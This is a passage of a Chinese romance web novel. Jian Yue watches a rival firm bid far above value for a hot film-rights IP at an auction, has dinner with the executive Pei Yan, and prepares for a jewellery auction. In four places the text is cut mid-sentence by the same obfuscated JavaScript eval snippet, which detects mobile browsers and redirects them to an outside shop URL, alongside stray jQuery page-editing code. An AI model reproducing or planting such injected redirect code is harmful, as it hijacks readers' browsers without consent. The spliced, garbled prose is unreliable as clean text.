这家店的老板是日本人,做法纯正,尤其寿喜豆腐,汤汁浓郁,可以说是两人的最爱。 在隔间坐好后,姜予彤迫不及待地和她说起那本书:“阿月,你说的那本书我看了,我还挺喜欢的,我打算等有人拍下后,看能不能试镜个女二的角色。” 说完又想了想,忽然回神:“等等,你特意和我说起这本书……不会是你打算竞拍这个IP吧?” 简月:“……” 姜予彤:“那是裴言?” 简月手抚额头:“后天你就知道了。” “好好好我懂我懂,放心啦,我不会说出去的。” 简月忍不住叹气,叹完问道:“不过,你喜欢女二那个角色?不考虑试镜女主吗?” “女主要抗收视率和实绩,我才不呢,就女二女三这种的刚刚好。”姜予彤想起书的内容,神情渐渐认真,“而且,女二这个角色真实又有层次感,挺有挑战性的,试试也不错。” “可是女二……”简月跟着回想了一下书的内容,说道,“挺有争议的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747483|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我觉得可能会被骂,相比之下女三更安全,而且戏份也不比女二少。” 女二李书仪是引发整个故事的因,女三则是门派里的大师姐,温柔善良又有自己的成长线,客观来说,女三争议少黑点少,比女二更能吸粉。 “怕争议还做什么演员啊。”姜予彤说起演戏,眼睛亮晶晶的,“有争议不就正好说明角色有值得深挖的点吗?” “而且女三的人设是清冷大美人。”她不好意思地笑了笑,“我气质不符,还是算啦。” 她这么坚持,简月也不好再多说,笑了笑:“好吧,那祝你到时候试镜成功。” 说着举起杯:“干杯。” “干杯。” “我周末就要进组了,估计待一个半月。”放下杯子,姜予彤仔细瞧她的神色,瞧不出什么不对劲儿才继续说,“阿月,你要是有什么不开心,一定要记得告诉我,我就算请不了假,也一定在收工后来陪你。” 知道她是因为分手的事在担心自己,简月拍了拍她的手,笑着道:“没事,你放心,我早对他下头了,能有什么不开心的。” 姜予彤又看她半天,这才“嗯”了一声,聊起别的话题。 * 晚上八点,关了办公室的灯,司衡乘坐电梯来到了地下车库。 快到停车的地方时,他发现自己的车旁多了个女人。 林曼提着包,安安静静地在等他。 她还没显怀,小腹看起来平坦得和常人无异。 见他来,林曼主动走过来:“司衡,叔叔让你接他的电话。” 司衡脸色沉了沉,越过林曼,一言不发继续往前走。 她也不生气,在他身后继续说:“你一直不接电话,苦恼的是我,司衡,你打算一直这样下去吗?” 男人终于脚步一顿:“上车说。” 两人上了车,司衡率先开口:“他找了你多少次?” “三四次吧。”林曼淡淡一笑,好脾气道,“可你继续不接叔叔的电话,这个次数只会越来越多。” 沉默片刻,司衡取出手机,拨通了司知行的电话。 电话里传来阴阳怪气的声音:“怎么,不是硬气的很一直不接电话吗,现在想通了?” 司衡耐着性子:“找我什么事?” “还能是什么事?你打算什么时候和曼曼订婚?” “三个月后。” “三个月?不行,太久了!”司知行提高了声音,“一个月,下个月你回来,先和曼曼把婚订了!” “……”司衡厌倦地闭了闭眼,“下个月我不可能回去,你要不介意丢脸就继续。” “三个月,就这样。” 说完没等司知行回复,司衡直接挂断电话关了机,干脆利落。 他看向林曼,又重复一遍:“三个月。” 林曼点头:“好。” 司衡:“我还有事,你自己回吧。” 林曼继续点头,打开车门下了车。 没走几步,身后的车迅速发动,从她身侧疾驰而过。 * 简月回到家已经十点。 想着还要给裴言答复,她泡了杯茶,去阳台继续想白天没想完的事。 《星河》是大热IP,除了亚恒和创世,一定还有其他公司眼馋这个IP,想搏一搏,看能不能拍下来,靠这个IP大赚一笔。 底价两千万,估计随便几个人出价就能超过市值估价。 那么,司衡的上限是…… 确定好结果,简月拿出手机,点开和裴言的对话框,打字。 简月:[六千。] 8. 骄傲-8% IP拍卖会的前一天,简月醒来就看到公司的人发来消息,说R.R.寄来了今年的藏品拍卖邀请函。 她瞬间清醒,从床上坐起,又仔细看了一遍,确认自己没有看错。 R.R.在国内是个很特殊的品牌。 除了按季度推出珠宝首饰的新品,还会每年举行一次代售拍卖会,拍卖一些私人藏品。 如果拍卖成功,R.R.会按照成交价与卖家进行比例分成。 此外,由于私人藏品的特殊性质,买卖双方一个不想大众知道藏品的最终去向,一个不想暴露信息,因此R.R.作为代售方,会特别要求参与拍卖的人都用假名出价,着正装和面具入场。 几年前,简月在R.R.拍卖会上曾错失过一条祖母绿宝石项链,那时的她竞价不够果断,稍一犹豫就被别人买走。 错过的项链在时间的冲刷下,没有被淡忘,反而日益深刻,她再也没有见过比那条更好看的绿宝石项链。 因此这几年她都格外关注R.R.的拍卖会信息,期盼有一天,那条绿宝石项链会被重新拿出来售卖。 一个小时后,简月拿着R.R.的邀请函坐进了车里。 邀请函是广撒网,实际最后是谁拿着邀请函去、有多少人去,连R.R.自己也没有准确的判断。 只有最后出价成功的人会被带到私人接待室,由R.R.核对身份,然后完成交易。 她打开邀请函,里面用烫银写着这次拍卖的时间和地点。 再往后翻,是一本夹着的小册子,小册子打开,是这次拍卖会的全部藏品信息。 简月一页页翻着,终于在翻到某一页时,手指一顿,停了下来。 上面的图片赫然是那条祖母绿宝石项链。 项链上缀着的宝石颜色纯正,绿中带蓝,净度和切工都完美得无可挑剔,她念念不忘几年的东西,就这么突然地出现在了她眼前。 回过神,简月又匆忙翻回邀请函上写着时间地点的那一页—— 时间:下周六(9月2日)晚上8点 地点:绿洲号游轮 备注:凭邀请函即可登船 下周六…… 那正好在IP拍卖会结束之后。 赶得上。 * 周四的IP拍卖会开始前,裴言已经问过她是否一起出席的事,她回答不用,给她一个入场资格她自己找地方坐就好。 毕竟拍卖会本质上和她无关,她去旁观也只是为了验证结果。 至于坐哪儿,她觉得最后一排就挺好。 她可再也不想遇上司衡被他缠住了。 裴言听完没有多问,只说会让助理带她进去。 拍卖会定在下午两点开始,从一点就开始有人陆陆续续进场,眼看裴言已经入场五分钟,助理有些着急了,小心翼翼看她一眼,又看一眼,最后终于忍不住问道:“简小姐,裴总已经进去好一会儿了,我们什么时候入场?” 简月看了眼时间:“再等等,快开始的时候再进去吧。” 现在才一点半。 拍卖会开始前,场内是可以随意走动的,吵吵闹闹,时不时就要应付前来搭话的人,说不定就要遇上司衡。 她不想像那天的酒会一样被司衡纠缠,倒不如等快开始的时候再落座,省得麻烦。 一点五十二,看时间差不多了,简月起身,由助理带她走进了会场。 临近开始,会场已经趋于安静,只有偶尔传来的低声交谈。 简月放轻脚步,跟着助理沿着边上走到最后一排落了座。 座位上有一个小册子,简月坐下后拿起来翻了翻,发现是本次拍卖的所有IP介绍以及拍卖顺序。 其中《星河》排在第八,《男主为何还不杀我》排在第十二。 翻完册子,时间正好两点,后面几排的灯光暗了一些,全场的焦点聚集于最前方。 顺着光源看向最前方,简月看到了一个熟悉的背影。 坐在第一排,西装笔挺,仪态从容。 司衡。 不到一秒,简月面无表情地移开视线。 左边隔了几个座位,是另一个她认识的背影,裴言。 同样西装笔挺,同样仪态从容,较之司衡完全不落下风。 只是看着看着,简月突然发现裴言是哪里和司衡不同了。 司衡大部分时间都是西装衬衫配领带,而裴言似乎只有出席活动的时候才着正装。 最前方的主持正在宣读流程,简月小声问起助理:“你们裴总是不是只有出席活动的时候才穿正装?” 助理看着她点头:“出席活动要表示尊重,所以裴总会穿,但私下里裴总都是西装里面搭私服的。” 简月点点头,表示知道了,助理却凑过来问她:“那个,既然您问起这个,那冒昧问您一句,您觉得裴总穿正装帅不帅?” “……”望着裴言的背影,简月说,“帅。” 客观来说是这样的。 他身材好骨架好,肩宽腿长,堪称衣架子,穿正装自然好看。 不过助理问她这句话的意思是? “是吧,您也觉得裴总穿正装帅!”助理一脸痛心,“我们也这样觉得,可偏偏裴总不喜欢。” 简月:“……” 她礼貌笑笑,没再接助理的话,只是视线再次落向裴言。 不喜欢穿正装啊…… 随着主持宣读完流程,拍卖也正式开始。 前几个IP都是小IP,出价的人不多,到第三个IP时,已经有人低头看起了手机,不再专心台上。 直到第八个IP,《星河》,一个业内所有眼睛都在关注着的IP。 主持念完名字后,之前心不在焉和低头看手机的人纷纷坐直身体,一副来了精神的模样。 他们未必出价,也未必想拿下这个IP,但对于这个IP的最终归属,众人显然有着极大的兴趣。 主持对IP做了个简单介绍后,正式宣布开始出价。 “一百万。”有人先喊。 “二百万。” “三百万。” “五百万!” 陆续有人开始出价。 目前为止,出价的都是小公司,创世和亚恒还没有动静。 很快,价格抬到两千两百万,已经超过裴言保守估计的底价。 举牌的公司越来越少,大多数都开始选择观望。 毕竟几千万的流动资金不是小数目,对于小公司来说,即便倾尽所有拿下版权,之后也会无力运转。 最前方的司衡偏头看了一眼版权部总监,总监立刻会意,举牌进行第一次出价:“三千万。” 随着总监话音落下,全场立刻陷入安静,原本还在竞价的公司自知不敌,也放弃了举牌。 同时,开始有人似有若无地看向裴言。 所有人都知道,创世最大的对手就是亚恒,如果亚恒不争,那么这个IP会毫无悬念地落入创世手中。 简月亦看向裴言。 男人坐姿松弛,似运筹帷幄。 主持第一次喊价结束后,亚恒的版权总监看一眼裴言,举牌出价:“四千万。” 全场鸦雀无声。 有种屏住呼吸的紧张感。 亚恒出手,这场较量才算正式开始。 简月也不由提起一口气,绷紧了神经看向第一排。 助理看出她的紧张,在她旁边小声逼逼道:“您放心吧,裴总出手从无失误。” 随着亚恒出价,司衡换了个坐姿,斜睨着往裴言的方向看了过去。 简月认得,那是他极其不悦的表现。 微微抬起下巴,姿态充满了居高临下的挑衅味。 裴言感受到他不善的目光,微微偏头,两人的目光撞上。 隔着几个座位的对视,仿佛一场无声的对峙。 这种时候,任何神态动作都可能成为对方判断的依据,谁先露出破绽,谁就会落入被动,成为弱势的一方。 简月坐在最后方,看不清裴言的表情,却莫名有种直觉——他应该是冷笑了一下。 短暂的目光交锋后,主持已经喊完两次价,司衡收回目光,接着版权总监向他靠近,按指示进行了第二次出价:“四千五百万。” 亚恒没等主持喊价,立刻针锋相对一般地跟上:“四千八百万。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747484|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 火药味几乎溢出。 较之前几排大气也不敢出的紧张氛围,后排的顾忌显然要少一些,简月甚至能听到有人发出低低的吸气声。 他们这样的小公司哪里见过这种场面,亚恒和创世硬碰硬,着实精彩刺激。 台上的主持开始喊价。 按照规定,每一次喊价要间隔十五秒,喊完第三次才算出价成功,达成交易。 此刻,主持喊完第二次四千八百万,开始最后的十五秒倒计时。 一秒,两秒,司衡还没有动静。 简月攥紧拳,忍不住看向司衡。 才四千八百万,他不打算出价了吗? 她记得亚恒那份估值报告上写,《星河》的版权购入价低于四千五百万,属盈利范围;四千五至五千五为持平,超过五千五百万,则大概率亏损,仅小概率情况可实现盈利。 现在才到持平范围,难道他这么轻易地就将《星河》拱手让出了? 八秒,九秒,十秒。 简月又看向裴言。 男人依旧坐姿放松,不仅是他,连他身边的版权总监都半点不慌,一副气定神闲的模样。 还没来得及思考什么,一道声音响起:“五千万。” 最后三秒,创世的版权总监举牌进行了第三次出价。 简月轻轻松了口气。 创世出完价后,众人的目光再次汇聚到裴言身上。 所有人都在好奇亚恒会不会跟上。 而被当做焦点的那个男人,不动如山,甚至没有看司衡一眼,像一个旁观者一样,作壁上观,静静等着最后的结果。 颇有种不把司衡放在眼里的感觉。 不合时宜地,简月忽然想笑,笑自己的眼光拙劣。 她忽然觉得从前司衡说起裴言气恼的模样,或许就像此刻一样。 像个跳梁小丑,他的恼怒与不甘,从来都没有入过裴言的眼。 一个在意,一个不在意,高下立判。 没等多久,亚恒的总监第三次举牌:“五千五百万。” 五千五百万,这是他们的抬价上限。 她昨天发的六千,那是司衡的上限。 在她的认知里,司衡不是一个一点亏也吃不得的人,他是一个敢赌的人。 况且,司衡对她说过——“简月,你做梦。” 想要《星河》的版权,她做梦。 对,那就让她拭目以待,他怎么让她做梦,怎么彻底从裴言手里抢走《星河》。 主持第一次喊价:“五千五百万一次。” 众人关心结果,默契又将视线移向司衡。 司衡又换了个坐姿,手肘搭在椅子扶手上,撑起了下巴。 全场窒息般的沉默。 十五秒后,主持第二次喊价:“五千五百万两次。” 随着主持的话音落下,简月的心渐渐提起,每一秒都好像被无限拉长,无数利弊分析在脑海中闪过。 她不知道裴言怎么想,但如果赌输了…… 五、四、三…… 精神高度紧绷中,一个男声响起。 “五千八百万。”司衡说。 跳过版权总监,他亲自喊出了最后的价。 后排有人忍不住发出惊呼声。 对于中小公司来说,这个价格已经是他们无法承受的天价数字了。 台上的主持开始新一轮的喊价,简月看着更新后的数字愣了几秒,才渐渐回过神,有了真实感。 对,司衡喊了五千八百万,他们赌赢了。 虽然没逼到司衡的上限,可五千八百万也足够了。 亚恒不再出价,最后的喊价很快结束。 主持宣布:“五千八百万,成交!” 一锤定音,《星河》的版权正式属于创世。 全场哗然。 助理喜滋滋地炫耀:“我就说,我们裴总出手从无失误。” 简月笑了笑,取出手机,打字给裴言:[恭喜。] 消息发出后,她抬头,正好看到第一排的男人微微低下了头。 十秒钟后,她的手机收到一条新消息。 裴言:[同喜。] 9. 骄傲-9% 《星河》的竞拍尘埃落定后,陆续有人开始离席。 拍到第十个IP时,司衡也离开了。 后排灯光偏暗,他没有注意到她。 到第十二个IP《男主为何还不杀我》时,拍卖已接近尾声。 这个IP原本就没什么流量,因此裴言没费什么工夫就拍到了手。 成交价仅两百万。 看到今天所有的计划都顺利进行,简月跟助理打了声招呼,来到外面边透气边等裴言。 关于刚才的拍卖,她还有几句话想跟裴言聊。 她找了个地方坐,取出手机开始刷动态。 没多久,姜予彤的消息蹦出来。 姜予彤:[天呐,裴言真的拍了那部的版权,亚恒都官宣了!] 姜予彤:[还有创世,创世也官宣《星河》了!] 简月:[对啊,那个IP本来就是小众,没多少人想要的。现在亚恒官宣了,你也可以开始准备试镜啦。] 姜予彤发了个亲亲抱抱举高高的表情包,然后回她。 姜予彤:[我在准备啦,你能帮我问问导演是谁吗?] 简月:[ok,我问好就告诉你。] 她收起手机又等了一会儿,终于看到裴言带着助理从会场走出。 不过除了助理,紧随其后的还有另一个人。 一个女人。 “裴总留步。”身材高挑的女人小跑着追上裴言,微笑着说了一句什么。 简月猜,她应该在说有事想和裴言聊。 裴言和助理停下来,看向那个女人。 隔得远,简月听不清他们在聊什么,但她看得出,那个女人对裴言应该挺有好感。 因为她取出烟和打火机,却只递了烟过去。 ——她在等裴言接过烟,然后亲手帮他点火。 一种超出正常社交距离的、很微妙的越界。 简月饶有兴趣地等着裴言的反应,却发现他没有反应。 他没有接烟,倒是助理上前一步,礼貌说了句什么,然后那个女人讪讪收回了手。 鬼使神差的,她脑海中闪过一句酒会时听到的议论—— “裴总向来不近女色”。 不近女色。 这四个字她在几年前也听过,只不过对象不是裴言,而是司衡。 那时的司衡也算是洁身自好,进退有度,可最后还不是…… 简月恍惚了一下,再回神时,给裴言递烟的女人已经离开。 裴言转过身,目光直直与她对上。 她笑了笑,算是打过招呼,然后站起身等着他过来。 男人脚下生风,很快带着助理来到她面前:“等很久了?” “也没有。”想着刚才那一幕,简月好奇问道,“刚才有人给你递烟,你用什么理由拒绝她的?” 裴言看她几眼,似在观察她神情:“你很感兴趣?” “还好?只是随便问问,不方便说也没关系。” 裴言:“……” 助理叹了口气,适时站出来接道:“简小姐,裴总不抽烟的。” 哦,那倒是个挺体面的理由。 简月恍然大悟,接着又问:“那今天晚上你有安排吗?方不方便请你吃个饭?” 男人眼神微妙一分:“怎么?” “我有事想和你谈,不知道日理万机的裴总有没有这个空。” 闻言,男人思忖几秒,对着助理道:“你先回去吧,有事我再通知你。” “可是……” “你先回去。” 听出裴言的强硬,助理赶紧闭嘴。 行吧行吧,傍晚的会议裴总八成是参与不了了。 果然,目送两人离开后,他的手机就弹出一条新消息。 裴言:[晚上会议照常,让总监代开,结束后把会议记录发给我。] * 没有第三人在场,简月不免放松了一些。 刚才没有问的问题也在这时问出了口。 “前几天我听到一个说法,说裴总向来不近女色。而这样的人呢,一般有两种情况,其一,专注于事业的野心家,情情爱爱的根本不放在眼里,其二,心里有一个不可能的人,因为心里有人,所以对其他人都提不起兴趣。” 她好奇:“裴言,你是哪种?” 男人看她一眼,目光微凉:“你对我的私人生活很感兴趣?” “一般感兴趣,只是我的猜测和你说过的话有点矛盾,所以才问一句。” “哪里矛盾?” “野心家不会说出‘明天就出车祸被车撞死’这样的话。”简月说。 裴言脚步一顿,停下来看她。 的确,野心家不会这样说,他也根本就不是野心家。 事业也好亚恒也好,他都没那么在乎。 他是…… 其二,心里有一个人。 一个曾经以为这辈子都不会再有牵扯的人。 半晌,裴言轻轻一笑:“你慢慢猜。” 她慢慢猜。 简月细细咀嚼着这句话。 如果是第一种,那有什么不能说的? 除非他是第二种且不想承认,才会用这么模棱两可的话来回答她。 原来他心里有人啊…… 不知怎的,简月想起那个巧合的手机密码。 0722,她的生日。 难道裴言心里的人是她? ……不,不,应该是她想多了。 简月抬起头,正好看到裴言在车旁停下,向她递来一个上车的眼神。 男人眼神淡淡,并无任何多余的情绪。 ——果然是她想多了。 她和司衡在一起三年,又和裴言从无交集,他怎么可能莫名其妙喜欢她? 他又怎么可能肖想别人的女朋友? 裴言的能力和品位样样出众,能走到今天这一步,想来也不是一个因为外表就动心的肤浅角色。 简月不由笑自己的多心。 她摇摇头,打开车门上了车。 * 车开出一段距离后,简月才后知后觉发现自己没给裴言说地址。 那他现在开的方向是? 简月:“我还没说地址,你这是去哪儿?” 正在开车的男人淡看她一眼:“请我吃饭,难道不是我选地方?” 简月:“……” 也有道理。 于是她财大气粗道:“行,那你随便选,我买单。” 裴言“嗯”了声:“正好你可以现在说说,要谈什么事。” 简月奇道:“你要现在谈?可你在开车啊。” “我不是很有兴趣吃饭的时候谈工作。”顿了顿,他反问,“你要谈的事很复杂?复杂到会影响我开车?” 那倒也不是,就几句话的事。 她主动提起请吃饭,一方面是不想在公众场合站着说话,另一方面,是为了礼尚往来,还他之前付钱的裙子。 想了想,简月还是选择开口:“刚才拍《星河》的时候,如果司衡没有跟价,你要怎么办?” “没有如果,他一定会跟。” “这么肯定?四千八百万那次,他可是最后三秒才出价的。” “他故意的,卡在最后几秒给对手压力,好让对手不敢再轻易出价,心理博弈而已。” 原来是这样。 简月看向他,对他的能力有了新的认知:“难怪他总在你手下吃亏,你还挺了解他。” “是吗?”他轻哂,不知在笑谁,“你能猜中他的上限, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747485|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也挺了解他的。” “毕竟我和他……”话说到一半,简月停了下来。 她忽然觉得没必要再说下去。 毕竟她和司衡的关系谁人不知,裴言之所以找她合作,不就是看中了她这一点。 看中她对司衡的了解,看中她会从此和司衡势不两立。 再者说,提起他也挺恶心的,不如不提。 她沉默,裴言也没有再问。 车窗外的景飞速掠过,几分钟后,简月重新开口:“对了,《男主为何还不杀我》这个IP,你还缺投资吗?” “你想入资?” “是有这个意向。”简月点头,“我挺喜欢这个IP的。” “你要谈的事就是这个?” “不完全是,我还想问问你导演是谁。”她如实相告,“我有个圈内朋友想试镜里面的一个角色。” “什么角色?” “女二,李书仪。” “可以。”裴言点头,“导演就是你那天见过的张胜张导,你把你朋友名字告诉我,我会转告张导,等开始选角的时候就通知她去试镜。” 简月:“……” 这就完了?这就解决了? 虽说这件事也不大,但裴言的爽快程度还是有些出乎她意料。 她哽了哽,一时忘了接下来要说什么。 “至于入资的事。”男人继续说,“晚点我会让助理发一份分析报告给你,你看完后如果还有意向,我再让助理和你们公司的人对接,走接下来的流程。” “……”简月张了张嘴,发出一个音节,“好。” 这一定是她谈正事最爽快最顺利的一次。 车又拐过一个弯,一家装修精致的餐厅渐渐出现在视野中。 餐厅远离市区,占地宽阔,正门前是大片的草地和喷水池,通往正门的主路旁铺满了鲜花,浅金色的阳光洒下来,宛如世外桃源。 简月心里隐隐有了预感,正想问是不是在这里吃饭,男人的声音就先她一步响起:“到了。” 停好车,裴言领着她向正门走去。 一个金发碧眼的白男站在门口,见到裴言就热切地迎上来,用法语打着招呼。 裴言淡淡笑着,同样用法语回了几句,然后跟她介绍:“Fabien,这家餐厅的老板。” 简月只会一些简单的法语,因此点点头,回了一句“Bonjour”。 Fabien倒是对她很有兴趣,打完招呼观察了她好几眼,笑着又对裴言说了一句法语。 很简单的一句,简月听懂了,他在问裴言——是她吗? 裴言点头。 Fabien的视线又回到她身上,露出友好笑容,开始为他们带路。 穿过正门,Fabien带他们来到一个无人打扰的窗边位置,然后拿出一个下单的平板放在桌上。 他说了几句话,简月没听懂,但她猜,Fabien应该是说了一些不用客气、有什么需要再找他的话。 裴言回了一句,Fabien点头笑笑,转身离开。 裴言拿起平板:“想吃什么?” “我请你,当然是以你为主,你点吧,我和你一样就行。” 他抬头看她一眼,“嗯”了声,重新看向平板。 趁着裴言点菜,简月默默打量了一圈餐厅内的环境。 除了随处可见的鲜花,大厅中央还有乐团在演奏古典乐,整体氛围充斥着法式浪漫,格调满满。 选在这种地方吃饭,裴言还挺讲究。 她看着看着,忽然见一个服务生捧着一大丛鲜红欲滴的玫瑰向她的方向走来。 越来越近,越来越近。 直到在她面前停下。 “女士,您的花。”服务生微笑着道。 10. 骄傲-10% 她的,花? 简月愣了一秒,看向裴言,眼神疑惑。 男人面不改色:“餐厅自带的,收下吧。” 吃饭送花,简月的确在某些五星级酒店体验过,是以没有多想,大大方方接过了花。 大丛的红玫瑰上还沾有露珠,颜色鲜艳热烈,不愧是重视浪漫的法国人开的餐厅。 简月拿起玫瑰闻了闻,顺便说道:“对了,下周六我有事,提前跟你打声招呼,如果你有什么事找我,最好错开一下。” “周六?”裴言正好点完单,放下平板问,“R.R.的拍卖会?” “嗯对。”简月意外了一瞬,随即又想起以亚恒的地位,裴言能收到邀请函也不奇怪。 她笑着道:“今年有个藏品我很喜欢,打算去试试。” “什么藏品?” “一条项链。”她放下玫瑰,有些想笑,“你怎么问这么详细?你对首饰很感兴趣?” 对面的男人一顿,移开视线:“聊到这儿了,就随口一问。” “是吗?”简月说,“那拍卖会你去吗?” 他停顿了一秒才摇头:“下周六我有别的安排。” “这样。”简月笑眯眯道,“那条项链我看中了好久,但愿这次能顺利拍下。” 裴言轻轻弯唇:“祝你成功。” 菜没多久便上了桌。 裴言点的不多,几道主菜,外加一份甜品一份汤。 这家店除了环境氛围,菜品显然也是一流。 红酒炖牛肉里的酱汁香味扑鼻,咬下去的每一口都有酒香肉香一起刺激着味蕾,还有鹅肝酱配面包,口感丝滑,入口即化,连简月这样一个饭量不大的人都不由多吃了一些。 她夸赞:“味道果然好。” “你要是喜欢,以后可以常来。”裴言说。 又喝了几口洋葱汤,简月想起什么,抬头问道:“对了,你是不是说过,你之前也在英国待过?” 男人喝汤的手一顿。 她继续问:“是去读书的吗?你在哪个学校?” 隔了好一会儿,裴言才回答:“算是吧,有空的时候我会去旁听。” “旁听?”简月一愣,“为什么不直接转专业?” 虽然英国的很多课程都可以旁听,但一直旁听也太麻烦了。 “没有学籍。”裴言神色平静,“钱也不够。” 言下之意,他根本没有上过学。 简简单单几个字,他说得轻描淡写,简月却听得心惊肉跳。 公开资料上查不到的内容,裴言竟然就这么轻易地告诉她了。 她忽然有些不敢再问下去。 裴言这个名字不仅对于亚恒是空降,对江市也是。 在此之前,没有人听说过这个名字。 或许他身上有不少秘密,而以他们目前的关系来说,知道太多秘密显然不是什么好事。 简月看着对面的男人,心里忽然复杂几分。 司衡是天之骄子,从读书到接手公司一帆风顺,可裴言……他要承受经历更多,才能走到今天这一步。 他的确强大,也的确出色。 她的视线久久没有移开,裴言看她几眼,出声道:“这么看着我,在想什么?” “在想……除了合作的事,我们有没有可能成为朋友。” 水晶吊灯折射出炫目的光,男人眸光一滞,露出意外神色。 “朋友?”好一会儿,他才慢慢重复道。 “对。”简月点头,“或许我们挺投缘,能成为朋友。” 除了今晚聊起的过往让她对他生出几分欣赏,那晚酒会他说的一句话,也让她隐隐生出认同。 ——“说不定明天我就出车祸被车撞死了。” 虽然她当时没有表达出赞同,但其实在内心深处,她也是这么想的。 世事无常,说不定明天意外就会来临,她只想活在当下。 裴言一笑,模棱两可地回:“或许。” 没有同意,也没有拒绝。 但想到他在旁人眼中的形象是“不近女色”,简月觉得倒也正常。 能不能成为朋友不是动动嘴就能决定的,任何长久的关系,都需要花时间慢慢接触判断。 简月笑笑,没有再多说,伸手去拿面包,却不想另一只手也同时伸向了面包。 猝不及防地,两人的指尖碰上。 微凉的触感通过肌肤传来,心脏“咚”地一跳,简月还在发愣,对面那人已极快地收回了手。 裴言做了个“请”的姿势,示意她先拿。 简月眨了下眼睛,慢吞吞从盘子里拿起一片面包。 刚才那一瞬间,不知道是不是她的错觉,她好像从裴言眼里看到了点别的东西。 就在两人指尖相触的时候,很快,非常快,男人眼里的情绪一闪而过。 明明不小心碰到是再正常不过的事,可他收手的速度,却好像快得过分了。 她想再看,却什么也看不到了,男人的神色恢复了平静。 是她想多了? 一顿饭就这么安安静静地吃完。 然而最后结账的时候,服务生却说,单已经买过了。 这顿饭只有她和裴言两个人吃,不是她,还能是谁? 简月立刻看向裴言。 男人抬眼看一眼服务生,接着皱了下眉,似才想起什么,淡淡道:“忘了,这家餐厅都是直接记在我账上的。” 简月:“……” 所以,说要请他吃饭,最后反倒欠她更多了。 “下次吧。”裴言说,“下次你选地方。” 也只能如此了。 外面的天已经黑了,朦胧的月光洒在草地上,有种异样的温柔。 裴言看一眼窗外,说:“我送你回去。” * 裴言开车将她送到了楼下。 她打开车门,笑着说:“今天很愉快,谢谢。” “嗯。”裴言说,“资料报告我让人明天发给你。” 目送简月走进楼门后,他闭眼揉了下额角。 朋友?他怎么可能想和她当朋友? 朋友,怎么够。 他太贪心,他希望在简月的眼里,他是一个男人,而非一个谁都能当的合作伙伴。 司衡不愿意给她的,他愿意给。 开车回到公司时,会议记录已经静静躺在了他的办公桌上。 裴言上前翻了一遍,确认没什么问题,想起另一件事。 R.R.拍卖会。 简月想要的项链,是哪一条? 他走到会客区,在茶几下的一堆邀请函和图册中翻找起来,几分钟后,他找出R.R.的邀请函,在夹着的小册子中看到了那条项链。 其实小册子中的项链不止这一条,可那些项链要么颜色太杂,要么设计普通,只有这条祖母绿项链可能符合简月的审美。 直觉告诉他,简月想要的就是这一条。 裴言拿着小册子看了许久,最后取出手机,给助理发消息。 裴言:[下周六晚上我有事。] 裴言:[不用安排行程了。] * 第二天,简月惯例检查邮箱,看到了裴言发来的《男主为何还不杀我》的分析报告。 她打印出来带到公司,交给了助理,并通知大家开了个短会。 这个IP被亚恒定级为A,不错的故事加上合适的班底,或许能带来超出预期的效果。 暂且不说剧本,就凭导演是裴言说过的张胜,这部剧就差不到哪里去。 张导的实力圈内人有目共睹,他不在意演员咖位,只看合不合适、能不能演出角色的灵魂。因为选角苛刻,镜头语言一绝,每逢有张导的戏官宣,圈内都会有不少人去试镜,某种程度上来说,也是一种热度了。 短会开完,众人一致认为这个IP值得入资。 简月将结果告诉了裴言,裴言很快回了消息,表示知道了,之后会由助理完成对接。 入资的事就这样尘埃落定。 * 没多久,亚恒官宣了导演,姜予彤发来消息。 姜予彤:[阿月,亚恒官宣了,导演果然是你之前说过的张导,不过他选角是出了名的严苛,不知道我还有没有希望。] 说完发了个捧下巴叹气的表情包。 简月:[没事,正式试镜前还有一段时间,你好好准备,尽力就好,摸头.jpg] 回完消息,简月顺手去看了一眼微博。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747486|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >亚恒这边已经开始《男主为何还不杀我》的准备工作,而创世那边…… 距离《星河》的竞拍已过去一周,除了官宣版权,他们没有任何动静。 这期间,裴言约她在公司见过一次,谈的是剧本问题。 众所周知,小说变成影视剧搬上荧幕,通常都有不小的改动。 但对于《男主为何还不杀我》,裴言说,他打算进行一次尝试,尽量按照原著来拍,只修改逻辑bug和补充背景设定。 